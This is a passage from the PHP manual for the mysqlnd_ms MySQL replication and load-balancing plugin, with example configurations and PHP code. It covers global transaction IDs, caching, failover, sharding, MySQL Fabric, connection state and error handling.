            "fetch_last_gtid" : "SELECT MAX(trx_id) FROM test.trx",
            "check_for_gtid" : "SELECT trx_id FROM test.trx WHERE trx_id >= #GTID",
            "report_error":true
        }
    }
}

例7 Session consistency service level and GTID combined

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli) {
    /* Of course, your error handling is nicer... */
    die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));
}

/* auto commit mode, transaction on master, GTID must be incremented */
if (   !$mysqli->query("DROP TABLE IF EXISTS test")
    || !$mysqli->query("CREATE TABLE test(id INT)")
    || !$mysqli->query("INSERT INTO test(id) VALUES (1)")
) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* GTID as an identifier for the last write */
$gtid = mysqlnd_ms_get_last_gtid($mysqli);

/* Session consistency (read your writes): try to read from slaves not only master */
if (false == mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_SESSION, MYSQLND_MS_QOS_OPTION_GTID, $gtid)) {
    die(sprintf("[006] [%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Either run on master or a slave which has replicated the INSERT */
if (!($res = $mysqli->query("SELECT id FROM test"))) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

var_dump($res->fetch_assoc());
?>

A GTID returned from mysqlnd_ms_get_last_gtid() can be used as an option for the session consistency service level. Session consistency delivers read your writes. Session consistency can be requested by calling mysqlnd_ms_set_qos(). In the example, the plugin will execute the SELECT statement either on the master or on a slave which has replicated the previous INSERT already.

PECL mysqlnd_ms will transparently check every configured slave if it has replicated the INSERT by checking the slaves GTID table. The check is done running the SQL set with the check_for_gtid option from the global_transaction_id_injection section of the plugins configuration file. Please note, that this is a slow and expensive procedure. Applications should try to use it sparsely and only if read load on the master becomes to high otherwise.

Use of the server-side global transaction ID feature

注意: Insufficient server support in MySQL 5.6

The plugin has been developed against a pre-production version of MySQL 5.6. It turns out that all released production versions of MySQL 5.6 do not provide clients with enough information to enforce session consistency based on GTIDs. Please, read the concepts section for details.

Starting with MySQL 5.6.5-m8 the MySQL Replication system features server-side global transaction IDs. Transaction identifiers are automatically generated and maintained by the server. Users do not need to take care of maintaining them. There is no need to setup any tables in advance, or for setting on_commit. A client-side emulation is no longer needed.

Clients can continue to use global transaction identifier to achieve session consistency when reading from MySQL Replication slaves in some cases but not all! The algorithm works as described above. Different SQL statements must be configured for fetch_last_gtid and check_for_gtid. The statements are given below. Please note, MySQL 5.6.5-m8 is a development version. Details of the server implementation may change in the future and require adoption of the SQL statements shown.

Using the following configuration any of the above described functionality can be used together with the server-side global transaction ID feature. mysqlnd_ms_get_last_gtid() and mysqlnd_ms_set_qos() continue to work as described above. The only difference is that the server does not use a simple sequence number but a string containing of a server identifier and a sequence number. Thus, users cannot easily derive an order from GTIDs returned by mysqlnd_ms_get_last_gtid().

例8 Plugin config: using MySQL 5.6.5-m8 built-in GTID feature

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        },
        "global_transaction_id_injection":{
            "fetch_last_gtid" : "SELECT @@GLOBAL.GTID_DONE AS trx_id FROM DUAL",
            "check_for_gtid" : "SELECT GTID_SUBSET('#GTID', @@GLOBAL.GTID_DONE) AS trx_id FROM DUAL",
            "report_error":true
        }
    }
}

User Contributed Notes

There are no user contributed notes for this page.


Cache integration

注意: Version requirement, dependencies and status

Please, find more about version requirements, extension load order dependencies and the current status in the concepts section!

Databases clusters can deliver different levels of consistency. As of PECL/mysqlnd_ms 1.2.0 it is possible to advice the plugin to consider only cluster nodes that can deliver the consistency level requested. For example, if using asynchronous MySQL Replication with its cluster-wide eventual consistency, it is possible to request session consistency (read your writes) at any time using mysqlnd_ms_set_quos(). Please, see also the service level and consistency introduction.

例1 Recap: quality of service to request read your writes

/* Request session consistency: read your writes */
if (!mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_SESSION))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

Assuming PECL/mysqlnd has been explicitly told to deliver no consistency level higher than eventual consistency, it is possible to replace a database node read access with a client-side cache using time-to-live (TTL) as its invalidation strategy. Both the database node and the cache may or may not serve current data as this is what eventual consistency defines.

Replacing a database node read access with a local cache access can improve overall performance and lower the database load. If the cache entry is every reused by other clients than the one creating the cache entry, a database access is saved and thus database load is lowered. Furthermore, system performance can become better if computation and delivery of a database query is slower than a local cache access.

例2 Plugin config: no special entries for caching

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        },
    }
}

例3 Caching a slave request

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli) {
    /* Of course, your error handling is nicer... */
    die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));
}

if (   !$mysqli->query("DROP TABLE IF EXISTS test")
    || !$mysqli->query("CREATE TABLE test(id INT)")
    || !$mysqli->query("INSERT INTO test(id) VALUES (1)")
) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Explicitly allow eventual consistency and caching (TTL <= 60 seconds) */
if (false == mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL, MYSQLND_MS_QOS_OPTION_CACHE, 60)) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* To make this example work, we must wait for a slave to catch up. Brute force style. */
$attempts = 0;
do {
    /* check if slave has the table */
    if ($res = $mysqli->query("SELECT id FROM test")) {
        break;
    } else if ($mysqli->errno) {
        die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
    }
    /* wait for slave to catch up */
    usleep(200000);
} while ($attempts++ < 10);

/* Query has been run on a slave, result is in the cache */
assert($res);
var_dump($res->fetch_assoc());

/* Served from cache */
$res = $mysqli->query("SELECT id FROM test");
?>

The example shows how to use the cache feature. First, you have to set the quality of service to eventual consistency and explicitly allow for caching. This is done by calling mysqlnd_ms_set_qos(). Then, the result set of every read-only statement is cached for upto that many seconds as allowed with mysqlnd_ms_set_qos().

The actual TTL is lower or equal to the value set with mysqlnd_ms_set_qos(). The value passed to the function sets the maximum age (seconds) of the data delivered. To calculate the actual TTL value the replication lag on a slave is checked and subtracted from the given value. If, for example, the maximum age is set to 60 seconds and the slave reports a lag of 10 seconds the resulting TTL is 50 seconds. The TTL is calculated individually for every cached query.

例4 Read your writes and caching combined

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli) {
    /* Of course, your error handling is nicer... */
    die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));
}

if (   !$mysqli->query("DROP TABLE IF EXISTS test")
    || !$mysqli->query("CREATE TABLE test(id INT)")
    || !$mysqli->query("INSERT INTO test(id) VALUES (1)")
) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Explicitly allow eventual consistency and caching (TTL <= 60 seconds) */
if (false == mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL, MYSQLND_MS_QOS_OPTION_CACHE, 60)) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* To make this example work, we must wait for a slave to catch up. Brute force style. */
$attempts = 0;
do {
    /* check if slave has the table */
    if ($res = $mysqli->query("SELECT id FROM test")) {
        break;
    } else if ($mysqli->errno) {
        die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
    }
    /* wait for slave to catch up */
    usleep(200000);
} while ($attempts++ < 10);

assert($res);

/* Query has been run on a slave, result is in the cache */
var_dump($res->fetch_assoc());

/* Served from cache */
if (!($res = $mysqli->query("SELECT id FROM test"))) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
var_dump($res->fetch_assoc());

/* Update on master */
if (!$mysqli->query("UPDATE test SET id = 2")) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Read your writes */
if (false == mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_SESSION)) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Fetch latest data */
if (!($res = $mysqli->query("SELECT id FROM test"))) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
var_dump($res->fetch_assoc());
?>

The quality of service can be changed at any time to avoid further cache usage. If needed, you can switch to read your writes (session consistency). In that case, the cache will not be used and fresh data is read.

User Contributed Notes

There are no user contributed notes for this page.


Failover

By default, the plugin does not attempt to fail over if connecting to a host fails. This prevents pitfalls related to connection state. It is recommended to manually handle connection errors in a way similar to a failed transaction. You should catch the error, rebuild the connection state and rerun your query as shown below.

If connection state is no issue to you, you can alternatively enable automatic and silent failover. Depending on the configuration, the automatic and silent failover will either attempt to fail over to the master before issuing and error or, try to connect to other slaves, given the query allowes for it, before attempting to connect to a master. Because automatic failover is not fool-proof, it is not discussed in the quickstart. Instead, details are given in the concepts section below.

例1 Manual failover, automatic optional

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "simulate_slave_failure",
                "port": "0"
            },
            "slave_1": {
                "host": "127.0.0.1",
                "port": 3311
            }
        },
       "filters": { "roundrobin": [] }
    }
 }

例2 Manual failover

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli) {
    /* Of course, your error handling is nicer... */
    die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));
}

$sql = "SELECT 1 FROM DUAL";

/* error handling as it should be done regardless of the plugin */
if (!($res = $link->query($sql))) {
    /* plugin specific: check for connection error */
    switch ($link->errno) {
    case 2002:
    case 2003:
    case 2005:
        printf("Connection error - trying next slave!\n");
        /* load balancer will pick next slave */
        $res = $link->query($sql);
        break;
    default:
        /* no connection error, failover is unlikely to help */
        die(sprintf("SQL error: [%d] %s", $link->errno, $link->error));
        break;
    }
}
if ($res) {
    var_dump($res->fetch_assoc());
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Partitioning and Sharding

Database clustering is done for various reasons. Clusters can improve availability, fault tolerance, and increase performance by applying a divide and conquer approach as work is distributed over many machines. Clustering is sometimes combined with partitioning and sharding to further break up a large complex task into smaller, more manageable units.

The mysqlnd_ms plugin aims to support a wide variety of MySQL database clusters. Some flavors of MySQL database clusters have built-in methods for partitioning and sharding, which could be transparent to use. The plugin supports the two most common approaches: MySQL Replication table filtering, and Sharding (application based partitioning).

MySQL Replication supports partitioning as filters that allow you to create slaves that replicate all or specific databases of the master, or tables. It is then in the responsibility of the application to choose a slave according to the filter rules. You can either use the mysqlnd_ms node_groups filter to manually support this, or use the experimental table filter.

Manual partitioning or sharding is supported through the node grouping filter, and SQL hints as of 1.5.0. The node_groups filter lets you assign a symbolic name to a group of master and slave servers. In the example, the master master_0 and slave_0 form a group with the name Partition_A. It is entirely up to you to decide what makes up a group. For example, you may use node groups for sharding, and use the group names to address shards like Shard_A_Range_0_100.

例1 Cluster node groups

{
  "myapp": {
       "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "simulate_slave_failure",
                "port": "0"
            },
            "slave_1": {
                "host": "127.0.0.1",
                "port": 3311
            }
        },
        "filters": {
            "node_groups": {
                "Partition_A" : {
                    "master": ["master_0"],
                    "slave": ["slave_0"]
                }
            },
           "roundrobin": []
        }
    }
}

例2 Manual partitioning using SQL hints

<?php
function select($mysqli, $msg, $hint = '')
{
    /* Note: weak test, two connections to two servers may have the same thread id */
    $sql = sprintf("SELECT CONNECTION_ID() AS _thread, '%s' AS _hint FROM DUAL", $msg);
    if ($hint) {
        $sql = $hint . $sql;
    }
    if (!($res = $mysqli->query($sql))) {
        printf("[%d] %s", $mysqli->errno, $mysqli->error);
        return false;
    }
    $row =  $res->fetch_assoc();
    printf("%d - %s - %s\n", $row['_thread'], $row['_hint'], $sql);
    return true;
}

$mysqli = new mysqli("myapp", "user", "password", "database");
if (!$mysqli) {
    /* Of course, your error handling is nicer... */
    die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));
}

/* All slaves allowed */
select($mysqli, "slave_0");
select($mysqli, "slave_1");

/* only servers of node group "Partition_A" allowed */
select($mysqli, "slave_1", "/*Partition_A*/");
select($mysqli, "slave_1", "/*Partition_A*/");
?>
6804 - slave_0 - SELECT CONNECTION_ID() AS _thread, 'slave1' AS _hint FROM DUAL
2442 - slave_1 - SELECT CONNECTION_ID() AS _thread, 'slave2' AS _hint FROM DUAL
6804 - slave_0 - /*Partition_A*/SELECT CONNECTION_ID() AS _thread, 'slave1' AS _hint FROM DUAL
6804 - slave_0 - /*Partition_A*/SELECT CONNECTION_ID() AS _thread, 'slave1' AS _hint FROM DUAL

By default, the plugin will use all configured master and slave servers for query execution. But if a query begins with a SQL hint like /*node_group*/, the plugin will only consider the servers listed in the node_group for query execution. Thus, SELECT queries prefixed with /*Partition_A*/ will only be executed on slave_0.

User Contributed Notes

social at dotmanila dot com 01-Jul-2014 02:11
In the example #2, you can use the @@server_id variable combined with connection_id() for a more distinct combination i.e.:

"SELECT CONNECTION_ID(), @@server_id AS _thread, '%s' AS _hint FROM DUAL"


MySQL Fabric

注意: Version requirement and status

Work on supporting MySQL Fabric started in version 1.6. Please, consider the support to be of pre-alpha quality. The manual may not list all features or feature limitations. This is work in progress.

Sharding is the only use case supported by the plugin to date.

注意: MySQL Fabric concepts

Please, check the MySQL reference manual for more information about MySQL Fabric and how to set it up. The PHP manual assumes that you are familiar with the basic concepts and ideas of MySQL Fabric.

MySQL Fabric is a system for managing farms of MySQL servers to achive High Availability and optionally support sharding. Technically, it is a middleware to manage and monitor MySQL servers.

Clients query MySQL Fabric to obtain lists of MySQL servers, their state and their roles. For example, clients can request a list of slaves for a MySQL Replication group and whether they are ready to handle SQL requests. Another example is a cluster of sharded MySQL servers where the client seeks to know which shard to query for a given table and shard key. If configured to use Fabric, the plugin uses XML RCP over HTTP to obtain the list at runtime from a MySQL Fabric host. The XML remote procedure call itself is done in the background and transparent from a developers point of view.

Instead of listing MySQL servers directly in the plugins configuration file it contains a list of one or more MySQL Fabric hosts

例1 Plugin config: Fabric hosts instead of MySQL servers

{
    "myapp": {
        "fabric": {
            "hosts": [
                {
                    "host" : "127.0.0.1",
                    "port" : 8080
                }
            ]
        }
    }
}

Users utilize the new functions mysqlnd_ms_fabric_select_shard() and mysqlnd_ms_fabric_select_global() to switch to the set of servers responsible for a given shard key. Then, the plugin picks an appropriate server for running queries on. When doing so, the plugin takes care of additional load balancing rules set.

The below example assumes that MySQL Fabric has been setup to shard the table test.fabrictest using the id column of the table as a shard key.

例2 Manual partitioning using SQL hints

<?php
$mysqli = new mysqli("myapp", "user", "password", "database");
if (!$mysqli) {
    /* Of course, your error handling is nicer... */
    die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));
}

/* Create a global table - a table available on all shards */
mysqlnd_ms_fabric_select_global($mysqli, "test.fabrictest");
if (!$mysqli->query("CREATE TABLE test.fabrictest(id INT NOT NULL PRIMARY KEY)")) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Switch connection to appropriate shard and insert record */
mysqlnd_ms_fabric_select_shard($mysqli, "test.fabrictest", 10);
if (!($res = $mysqli->query("INSERT INTO fabrictest(id) VALUES (10)"))) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Try to read newly inserted record */
mysqlnd_ms_fabric_select_shard($mysqli, "test.fabrictest", 10);
if (!($res = $mysqli->query("SELECT id FROM test WHERE id = 10"))) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
?>

The example creates the sharded table, inserts a record and reads the record thereafter. All SQL data definition language (DDL) operations on a sharded table must be applied to the so called global server group. Prior to creating or altering a sharded table, mysqlnd_ms_fabric_select_global() is called to switch the given connection to the corresponding servers of the global group. Data manipulation (DML) SQL statements must be sent to the shards directly. The mysqlnd_ms_fabric_select_shard() switches a connection to shards handling a certain shard key.

User Contributed Notes

There are no user contributed notes for this page.


Concepts

目次

  • Architecture
  • Connection pooling and switching
  • Local transaction handling
  • Error handling
  • Transient errors
  • Failover
  • Load balancing
  • Read-write splitting
  • Filter
  • Service level and consistency
  • Global transaction IDs
  • Cache integration
  • Supported clusters
  • XA/Distributed transactions

This explains the architecture and related concepts for this plugin, and describes the impact that MySQL replication and this plugin have on developmental tasks while using a database cluster. Reading and understanding these concepts is required, in order to use this plugin with success.

User Contributed Notes

There are no user contributed notes for this page.


Architecture

The mysqlnd replication and load balancing plugin is implemented as a PHP extension. It is written in C and operates under the hood of PHP. During the startup of the PHP interpreter, in the module init phase of the PHP engine, it gets registered as a mysqlnd plugin to replace selected mysqlnd C methods.

At PHP runtime, it inspects queries sent from mysqlnd (PHP) to the MySQL server. If a query is recognized as read-only, it will be sent to one of the configured slave servers. Statements are considered read-only if they either start with SELECT, the SQL hint /*ms=slave*/ or a slave had been chosen for running the previous query, and the query started with the SQL hint /*ms=last_used*/. In all other cases, the query will be sent to the MySQL replication master server.

For better portability, applications should use the MYSQLND_MS_MASTER_SWITCH, MYSQLND_MS_SLAVE_SWITCH, and MYSQLND_MS_LAST_USED_SWITCH predefined mysqlnd_ms constants, instead of their literal values, such as /*ms=slave*/.

The plugin handles the opening and closing of database connections to both master and slave servers. From an application point of view, there continues to be only one connection handle. However, internally, this one public connection handle represents a pool of network connections that are managed by the plugin. The plugin proxies queries to the master server, and to the slaves using multiple connections.

Database connections have a state consisting of, for example, transaction status, transaction settings, character set settings, and temporary tables. The plugin will try to maintain the same state among all internal connections, whenever this can be done in an automatic and transparent way. In cases where it is not easily possible to maintain state among all connections, such as when using BEGIN TRANSACTION, the plugin leaves it to the user to handle.

User Contributed Notes

There are no user contributed notes for this page.


Connection pooling and switching

The replication and load balancing plugin changes the semantics of a PHP MySQL connection handle. The existing API of the PHP MySQL extensions (mysqli, mysql, and PDO_MYSQL) are not changed in a way that functions are added or removed. But their behavior changes when using the plugin. Existing applications do not need to be adapted to a new API, but they may need to be modified because of the behavior changes.

The plugin breaks the one-by-one relationship between a mysqli, mysql, and PDO_MYSQL connection handle and a MySQL network connection. And a mysqli, mysql, and PDO_MYSQL connection handle represents a local pool of connections to the configured MySQL replication master and MySQL replication slave servers. The plugin redirects queries to the master and slave servers. At some point in time one and the same PHP connection handle may point to the MySQL master server. Later on, it may point to one of the slave servers or still the master. Manipulating and replacing the network connection referenced by a PHP MySQL connection handle is not a transparent operation.

Every MySQL connection has a state. The state of the connections in the connection pool of the plugin can differ. Whenever the plugin switches from one wire connection to another, the current state of the user connection may change. The applications must be aware of this.

The following list shows what the connection state consists of. The list may not be complete.

  • Transaction status
  • Temporary tables
  • Table locks
  • Session system variables and session user variables
  • The current database set using USE and other state chaining SQL commands
  • Prepared statements
  • HANDLER variables
  • Locks acquired with GET_LOCK()

Connection switches happen right before queries are executed. The plugin does not switch the current connection until the next statement is executed.

注意: Replication issues

See also the MySQL reference manual chapter about » replication features and related issues. Some restrictions may not be related to the PHP plugin, but are properties of the MySQL replication system.

Broadcasted messages

The plugins philosophy is to align the state of connections in the pool only if the state is under full control of the plugin, or if it is necessary for security reasons. Just a few actions that change the state of the connection fall into this category.

The following is a list of connection client library calls that change state, and are broadcasted to all open connections in the connection pool.

If any of the listed calls below are to be executed, the plugin loops over all open master and slave connections. The loop continues until all servers have been contacted, and the loop does not break if a server indicates a failure. If possible, the failure will propagate to the called user API function, which may be detected depending on which underlying library function was triggered.

Library call | Notes | Version
change_user() | Called by the mysqli_change_user() user API call. Also triggered upon reuse of a persistent mysqli connection. | Since 1.0.0.
select_db | Called by the following user API calls: mysql_select_db(), mysql_list_tables(), mysql_db_query(), mysql_list_fields(), mysqli_select_db(). Note, that SQL USE is not monitored. | Since 1.0.0.
set_charset() | Called by the following user API calls: mysql_set_charset(). mysqli_set_charset(). Note, that SQL SET NAMES is not monitored. | Since 1.0.0.
set_server_option() | Called by the following user API calls: mysqli_multi_query(), mysqli_real_query(), mysqli_query(), mysql_query(). | Since 1.0.0.
set_client_option() | Called by the following user API calls: mysqli_options(), mysqli_ssl_set(), mysqli_connect(), mysql_connect(), mysql_pconnect(). | Since 1.0.0.
set_autocommit() | Called by the following user API calls: mysqli_autocommit(), PDO::setAttribute(PDO::ATTR_AUTOCOMMIT). | Since 1.0.0. PHP >= 5.4.0.
ssl_set() | Called by the following user API calls: mysqli_ssl_set(). | Since 1.1.0.

Broadcasting and lazy connections

The plugin does not proxy or remember all settings to apply them on connections opened in the future. This is important to remember, if using lazy connections. Lazy connections are connections which are not opened before the client sends the first connection. Use of lazy connections is the default plugin action.

The following connection library calls each changed state, and their execution is recorded for later use when lazy connections are opened. This helps ensure that the connection state of all connections in the connection pool are comparable.

Library call | Notes | Version
change_user() | User, password and database recorded for future use. | Since 1.1.0.
select_db | Database recorded for future use. | Since 1.1.0.
set_charset() | Calls set_client_option(MYSQL_SET_CHARSET_NAME, charset) on lazy connection to ensure charset will be used upon opening the lazy connection. | Since 1.1.0.
set_autocommit() | Adds SET AUTOCOMMIT=0|1 to the list of init commands of a lazy connection using set_client_option(MYSQL_INIT_COMMAND, "SET AUTOCOMMIT=...%quot;). | Since 1.1.0. PHP >= 5.4.0.
警告

Connection state

The connection state is not only changed by API calls. Thus, even if PECL mysqlnd_ms monitors all API calls, the application must still be aware. Ultimately, it is the applications responsibility to maintain the connection state, if needed.

Charsets and string escaping

Due to the use of lazy connections, which are a default, it can happen that an application tries to escape a string for use within SQL statements before a connection has been established. In this case string escaping is not possible. The string escape function does not know what charset to use before a connection has been established.

To overcome the problem a new configuration setting server_charset has been introduced in version 1.4.0.

Attention has to be paid on escaping strings with a certain charset but using the result on a connection that uses a different charset. Please note, that PECL/mysqlnd_ms manipulates connections and one application level connection represents a pool of multiple connections that all may have different default charsets. It is recommended to configure the servers involved to use the same default charsets. The configuration setting server_charset does help with this situation as well. If using server_charset, the plugin will set the given charset on all newly opened connections.

User Contributed Notes

m at louislivi dot com 14-Feb-2019 04:22
SMProxy
A MySQL database connection pool based on MySQL protocol and Swoole.
https://github.com/louislivi/SMProxy


Local transaction handling

Transaction handling is fundamentally changed. An SQL transaction is a unit of work that is run on one database server. The unit of work consists of one or more SQL statements.

By default the plugin is not aware of SQL transactions. The plugin may switch connections for load balancing at any point in time. Connection switches may happen in the middle of a transaction. This is against the nature of an SQL transaction. By default, the plugin is not transaction safe.

Any kind of MySQL load balancer must be hinted about the begin and end of a transaction. Hinting can either be done implicitly by monitoring API calls or using SQL hints. Both options are supported by the plugin, depending on your PHP version. API monitoring requires PHP 5.4.0 or newer. The plugin, like any other MySQL load balancer, cannot detect transaction boundaries based on the MySQL Client Server Protocol. Thus, entirely transparent transaction aware load balancing is not possible. The least intrusive option is API monitoring, which requires little to no application changes, depending on your application.

Please, find examples of using SQL hints or the API monitoring in the examples section. The details behind the API monitoring, which makes the plugin transaction aware, are described below.

Beginning with PHP 5.4.0, the mysqlnd library allows this plugin to subclass the library C API call set_autocommit(), to detect the status of autocommit mode.

The PHP MySQL extensions either issue a query (such as SET AUTOCOMMIT=0|1), or use the mysqlnd library call set_autocommit() to control the autocommit setting. If an extension makes use of set_autocommit(), the plugin can be made transaction aware. Transaction awareness cannot be achieved if using SQL to set the autocommit mode. The library function set_autocommit() is called by the mysqli_autocommit() and PDO::setAttribute(PDO::ATTR_AUTOCOMMIT) user API calls.

The plugin configuration option trx_stickiness=master can be used to make the plugin transactional aware. In this mode, the plugin stops load balancing if autocommit becomes disabled, and directs all statements to the master until autocommit gets enabled.

An application that does not want to set SQL hints for transactions but wants to use the transparent API monitoring to avoid application changes must make sure that the autocommit settings is changed exclusively through the listed API calls.

API based transaction boundary detection has been improved with PHP 5.5.0 and PECL/mysqlnd_ms 1.5.0 to cover not only calls to mysqli_autocommit() but also mysqli_begin(), mysqli_commit() and mysqli_rollback().

User Contributed Notes

There are no user contributed notes for this page.


Error handling

Applications using PECL/mysqlnd_ms should implement proper error handling for all user API calls. And because the plugin changes the semantics of a connection handle, API calls may return unexpected errors. If using the plugin on a connection handle that no longer represents an individual network connection, but a connection pool, an error code and error message will be set on the connection handle whenever an error occurs on any of the network connections behind.

If using lazy connections, which is the default, connections are not opened until they are needed for query execution. Therefore, an API call for a statement execution may return a connection error. In the example below, an error is provoked when trying to run a statement on a slave. Opening a slave connection fails because the plugin configuration file lists an invalid host name for the slave.

例1 Provoking a connection error

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "invalid_host_name",
            }
        },
        "lazy_connections": 1
    }
}

The explicit activation of lazy connections is for demonstration purpose only.

例2 Connection error on query execution

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (mysqli_connect_errno())
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Connection 1, connection bound SQL user variable, no SELECT thus run on master */
if (!$mysqli->query("SET @myrole='master'")) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}

/* Connection 2, run on slave because SELECT, provoke connection error */
if (!($res = $mysqli->query("SELECT @myrole AS _role"))) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
} else {
 $row = $res->fetch_assoc();
 $res->close();
 printf("@myrole = '%s'\n", $row['_role']);
}
$mysqli->close();
?>

上の例の出力は、 たとえば以下のようになります。

PHP Warning:  mysqli::query(): php_network_getaddresses: getaddrinfo failed: Name or service not known in %s on line %d
PHP Warning:  mysqli::query(): [2002] php_network_getaddresses: getaddrinfo failed: Name or service not known (trying to connect via tcp://invalid_host_name:3306) in %s on line %d
[2002] php_network_getaddresses: getaddrinfo failed: Name or service not known

Applications are expected to handle possible connection errors by implementing proper error handling.

Depending on the use case, applications may want to handle connection errors differently from other errors. Typical connection errors are 2002 (CR_CONNECTION_ERROR) - Can't connect to local MySQL server through socket '%s' (%d), 2003 (CR_CONN_HOST_ERROR) - Can't connect to MySQL server on '%s' (%d) and 2005 (CR_UNKNOWN_HOST) - Unknown MySQL server host '%s' (%d). For example, the application may test for the error codes and manually perform a fail over. The plugins philosophy is not to offer automatic fail over, beyond master fail over, because fail over is not a transparent operation.

例3 Provoking a connection error

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "invalid_host_name"
            },
            "slave_1": {
                "host": "192.168.78.136"
            }
        },
        "lazy_connections": 1,
        "filters": {
            "roundrobin": [

            ]
        }
    }
}

Explicitly activating lazy connections is done for demonstration purposes, as is round robin load balancing as opposed to the default random once type.

例4 Most basic failover

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (mysqli_connect_errno())
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Connection 1, connection bound SQL user variable, no SELECT thus run on master */
if (!$mysqli->query("SET @myrole='master'")) {
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}

/* Connection 2, first slave */
$res = $mysqli->query("SELECT VERSION() AS _version");
/* Hackish manual fail over */
if (2002 == $mysqli->errno || 2003 == $mysqli->errno || 2004 == $mysqli->errno) {
  /* Connection 3, first slave connection failed, trying next slave */
  $res = $mysqli->query("SELECT VERSION() AS _version");
}

if (!$res) {
  printf("ERROR, [%d] '%s'\n", $mysqli->errno, $mysqli->error);
} else {
 /* Error messages are taken from connection 3, thus no error */
 printf("SUCCESS, [%d] '%s'\n", $mysqli->errno, $mysqli->error);
 $row = $res->fetch_assoc();
 $res->close();
 printf("version = %s\n", $row['_version']);
}
$mysqli->close();
?>

上の例の出力は、 たとえば以下のようになります。

[1045] Access denied for user 'username'@'localhost' (using password: YES)
PHP Warning:  mysqli::query(): php_network_getaddresses: getaddrinfo failed: Name or service not known in %s on line %d
PHP Warning:  mysqli::query(): [2002] php_network_getaddresses: getaddrinfo failed: Name or service not known (trying to connect via tcp://invalid_host_name:3306) in %s on line %d
SUCCESS, [0] ''
version = 5.6.2-m5-log

In some cases, it may not be easily possible to retrieve all errors that occur on all network connections through a connection handle. For example, let's assume a connection handle represents a pool of three open connections. One connection to a master and two connections to the slaves. The application changes the current database using the user API call mysqli_select_db(), which then calls the mysqlnd library function to change the schemata. mysqlnd_ms monitors the function, and tries to change the current database on all connections to harmonize their state. Now, assume the master succeeds in changing the database, and both slaves fail. Upon the initial error from the first slave, the plugin will set an appropriate error on the connection handle. The same is done when the second slave fails to change the database. The error message from the first slave is lost.

Such cases can be debugged by either checking for errors of the type E_WARNING (see above) or, if no other option, investigation of the mysqlnd_ms debug and trace log.

User Contributed Notes

There are no user contributed notes for this page.


Transient errors

Some distributed database clusters make use of transient errors. A transient error is a temporary error that is likely to disappear soon. By definition it is safe for a client to ignore a transient error and retry the failed operation on the same database server. The retry is free of side effects. Clients are not forced to abort their work or to fail over to another database server immediately. They may enter a retry loop before to wait for the error to disappear before giving up on the database server. Transient errors can be seen, for example, when using MySQL Cluster. But they are not bound to any specific clustering solution per se.

PECL/mysqlnd_ms can perform an automatic retry loop in case of a transient error. This increases distribution transparency and thus makes it easier to migrate an application running on a single database server to run on a cluster of database servers without having to change the source of the application.

